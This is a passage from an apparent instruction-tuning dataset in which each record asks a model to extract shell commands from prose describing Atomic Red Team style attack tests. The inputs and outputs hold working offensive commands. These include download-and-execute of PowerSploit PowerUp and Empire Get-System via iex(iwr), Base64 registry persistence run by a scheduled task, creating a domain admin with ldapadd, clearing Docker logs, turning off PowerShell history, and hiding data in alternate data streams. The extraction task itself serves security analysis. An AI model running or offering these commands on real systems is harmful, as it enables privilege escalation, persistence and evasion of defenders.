the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n To locate Google Chrome and Edge Chromium bookmark files on Windows systems, use the following command: where /R C:\\Users\\ Bookmarks; For finding Firefox bookmark files in Windows systems, execute this command to display all relevant paths: where /R C:\\Users\\ places.sqlite", "output": "{\"command_list\": [\"where /R C:\\\\Users\\\\ Bookmarks\\n\", \"where /R C:\\\\Users\\\\ places.sqlite\\n\"]}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n This Qakbot-inspired persistence technique involves storing a ping command in Base64 format within the registry, then setting up a daily scheduled task using these commands:\nreg add HKCU\\SOFTWARE\\ATOMIC-T1053.005 /v test /t REG_SZ /d cGluZyAxMjcuMC4wLjE= /f\nschtasks.exe /Create /F /TN \"ATOMIC-T1053.005\" /TR \"cmd /c start /min \\\"\\\" powershell.exe -Command IEX([System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String((Get-ItemProperty -Path HKCU:\\\\SOFTWARE\\\\ATOMIC-T1053.005).test)))\" /sc daily /st #{time}; To demonstrate modification of a scheduled task's action in the Windows TaskScheduler Operational log, first create a task to launch cmd.exe and then change it to notepad.exe using the following command:\n$Action = New-ScheduledTaskAction -Execute \"cmd.exe\"\n$Trigger = New-ScheduledTaskTrigger -AtLogon\n$User = New-ScheduledTaskPrincipal -GroupId \"BUILTIN\\\\Administrators\" -RunLevel Highest\n$Set = New-ScheduledTaskSettingsSet\n$object = New-ScheduledTask -Action $Action -Principal $User -Trigger $Trigger -Settings $Set\nRegister-ScheduledTask AtomicTaskModifed -InputObject $object\n$NewAction = New-ScheduledTaskAction -Execute \"Notepad.exe\"\nSet-ScheduledTask \"AtomicTaskModifed\" -Action $NewAction", "output": "{\"command_list\": [\"reg add HKCU\\\\SOFTWARE\\\\ATOMIC-T1053.005 /v test /t REG_SZ /d cGluZyAxMjcuMC4wLjE= /f\\nschtasks.exe /Create /F /TN \\\"ATOMIC-T1053.005\\\" /TR \\\"cmd /c start /min \\\\\\\"\\\\\\\" powershell.exe -Command IEX([System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String((Get-ItemProperty -Path HKCU:\\\\\\\\SOFTWARE\\\\\\\\ATOMIC-T1053.005).test)))\\\" /sc daily /st #{time}\\n\", \"$Action = New-ScheduledTaskAction -Execute \\\"cmd.exe\\\"\\n$Trigger = New-ScheduledTaskTrigger -AtLogon\\n$User = New-ScheduledTaskPrincipal -GroupId \\\"BUILTIN\\\\Administrators\\\" -RunLevel Highest\\n$Set = New-ScheduledTaskSettingsSet\\n$object = New-ScheduledTask -Action $Action -Principal $User -Trigger $Trigger -Settings $Set\\nRegister-ScheduledTask AtomicTaskModifed -InputObject $object\\n$NewAction = New-ScheduledTaskAction -Execute \\\"Notepad.exe\\\"\\nSet-ScheduledTask \\\"AtomicTaskModifed\\\" -Action $NewAction\\n\"]}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n A new Domain User can be created by executing this command, which utilizes the current user's credentials:\n$SamAccountName = '#{username}'\n$AccountPassword = ConvertTo-SecureString '#{password}' -AsPlainText -Force\nAdd-Type -AssemblyName System.DirectoryServices.AccountManagement\n$Context = New-Object -TypeName System.DirectoryServices.AccountManagement.PrincipalContext -ArgumentList ([System.DirectoryServices.AccountManagement.ContextType]::Domain)\n$User = New-Object -TypeName System.DirectoryServices.AccountManagement.UserPrincipal -ArgumentList ($Context)\n$User.SamAccountName = $SamAccountName\n$TempCred = New-Object System.Management.Automation.PSCredential('a', $AccountPassword)\n$User.SetPassword($TempCred.GetNetworkCredential().Password)\n$User.Enabled = $True\n$User.PasswordNotRequired = $False\n$User.DisplayName = $SamAccountName\n$User.Save()\n$User; You can create a domain admin account by executing this command: echo \"dn: CN=Admin User,CN=Users,DC=#{domain},DC=#{top_level_domain}\\nchangetype: add\\nobjectClass: top\\nobjectClass: person\\nobjectClass: organizationalPerson\\nobjectClass: user\\ncn: Admin User\\nsn: User\\ngivenName: Atomic User\\nuserPrincipalName: adminuser@#{domain}.#{top_level_domain}\\nsAMAccountName: adminuser\\nuserAccountControl: 512\\nuserPassword: {CLEARTEXT}s3CureP4ssword123!\\nmemberOf: CN=Domain Admins,CN=Users,DC=#{domain},DC=#{top_level_domain}\" > tempadmin.ldif\necho ldapadd -H ldap://#{domain}.#{top_level_domain}:389 -x -D #{admin_user} -w #{admin_password} -f tempadmin.ldif\nldapadd -H ldap://#{domain}.#{top_level_domain}:389 -x -D #{admin_user} -w #{admin_password} -f tempadmin.ldif", "output": "{\"command_list\": [\"$SamAccountName = '#{username}'\\n$AccountPassword = ConvertTo-SecureString '#{password}' -AsPlainText -Force\\nAdd-Type -AssemblyName System.DirectoryServices.AccountManagement\\n$Context = New-Object -TypeName System.DirectoryServices.AccountManagement.PrincipalContext -ArgumentList ([System.DirectoryServices.AccountManagement.ContextType]::Domain)\\n$User = New-Object -TypeName System.DirectoryServices.AccountManagement.UserPrincipal -ArgumentList ($Context)\\n$User.SamAccountName = $SamAccountName\\n$TempCred = New-Object System.Management.Automation.PSCredential('a', $AccountPassword)\\n$User.SetPassword($TempCred.GetNetworkCredential().Password)\\n$User.Enabled = $True\\n$User.PasswordNotRequired = $False\\n$User.DisplayName = $SamAccountName\\n$User.Save()\\n$User\\n\", \"echo \\\"dn: CN=Admin User,CN=Users,DC=#{domain},DC=#{top_level_domain}\\\\nchangetype: add\\\\nobjectClass: top\\\\nobjectClass: person\\\\nobjectClass: organizationalPerson\\\\nobjectClass: user\\\\ncn: Admin User\\\\nsn: User\\\\ngivenName: Atomic User\\\\nuserPrincipalName: adminuser@#{domain}.#{top_level_domain}\\\\nsAMAccountName: adminuser\\\\nuserAccountControl: 512\\\\nuserPassword: {CLEARTEXT}s3CureP4ssword123!\\\\nmemberOf: CN=Domain Admins,CN=Users,DC=#{domain},DC=#{top_level_domain}\\\" > tempadmin.ldif\\necho ldapadd -H ldap://#{domain}.#{top_level_domain}:389 -x -D #{admin_user} -w #{admin_password} -f tempadmin.ldif\\nldapadd -H ldap://#{domain}.#{top_level_domain}:389 -x -D #{admin_user} -w #{admin_password} -f tempadmin.ldif\\n\"]}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n To clear all Docker container logs and remove entries, use the following command: docker container prune -f && sudo truncate -s 0 /var/lib/docker/containers/*/*-json.log; To prevent PowerShell from saving command history, use the following command: Set-PSReadlineOption -HistorySaveStyle SaveNothing", "output": "{\"command_list\": [\"docker container prune -f && sudo truncate -s 0 /var/lib/docker/containers/*/*-json.log\\n\", \"Set-PSReadlineOption -HistorySaveStyle SaveNothing\\n\"]}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n The script leverages the NamedPipe technique to impersonate SYSTEM context, which can be executed via this PowerShell command: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\nIEX (IWR 'https://raw.githubusercontent.com/BC-SECURITY/Empire/f6efd5a963d424a1f983d884b637da868e5df466/data/module_source/privesc/Get-System.ps1' -UseBasicParsing); Get-System -Technique NamedPipe -Verbose; To leverage PowerShell and Empire's GetSystem module, which utilizes SeDebugPrivilege to impersonate another process's token, run the following command: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\nIEX (IWR 'https://raw.githubusercontent.com/BC-SECURITY/Empire/f6efd5a963d424a1f983d884b637da868e5df466/data/module_source/privesc/Get-System.ps1' -UseBasicParsing); Get-System -Technique Token -Verbose", "output": "{\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\nIEX (IWR 'https://raw.githubusercontent.com/BC-SECURITY/Empire/f6efd5a963d424a1f983d884b637da868e5df466/data/module_source/privesc/Get-System.ps1' -UseBasicParsing); Get-System -Technique NamedPipe -Verbose\\n\", \"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\nIEX (IWR 'https://raw.githubusercontent.com/BC-SECURITY/Empire/f6efd5a963d424a1f983d884b637da868e5df466/data/module_source/privesc/Get-System.ps1' -UseBasicParsing); Get-System -Technique Token -Verbose\\n\"]}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n For creating an Alternate Data Stream in PowerShell, use the command: echo \"test\" > #{file_name} | set-content -path test.txt -stream #{ads_filename} -value \"test\"\nset-content -path #{file_name} -stream #{ads_filename} -value \"test2\"\nset-content -path . -stream #{ads_filename} -value \"test3\"\n. Ensure you have the necessary write permissions and verify the results with the provided verification steps.; The process involves making an Alternate Data Stream directory and file, which requires write access. Run the command: \nmd #{folder_name}\necho too many secrets > #{folder_name}\\#{hidden_filename}\n. Post-execution, check the stream's presence with 'dir /A /Q /R' in %temp%, and access the hidden data by typing 'type %temp%\\...$.......::$index_allocation\\secrets.txt'.", "output": "{\"command_list\": [\"echo \\\"test\\\" > #{file_name} | set-content -path test.txt -stream #{ads_filename} -value \\\"test\\\"\\nset-content -path #{file_name} -stream #{ads_filename} -value \\\"test2\\\"\\nset-content -path . -stream #{ads_filename} -value \\\"test3\\\"\\n\", \"md #{folder_name}\\necho too many secrets > #{folder_name}\\\\#{hidden_filename}\\n\"]}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n 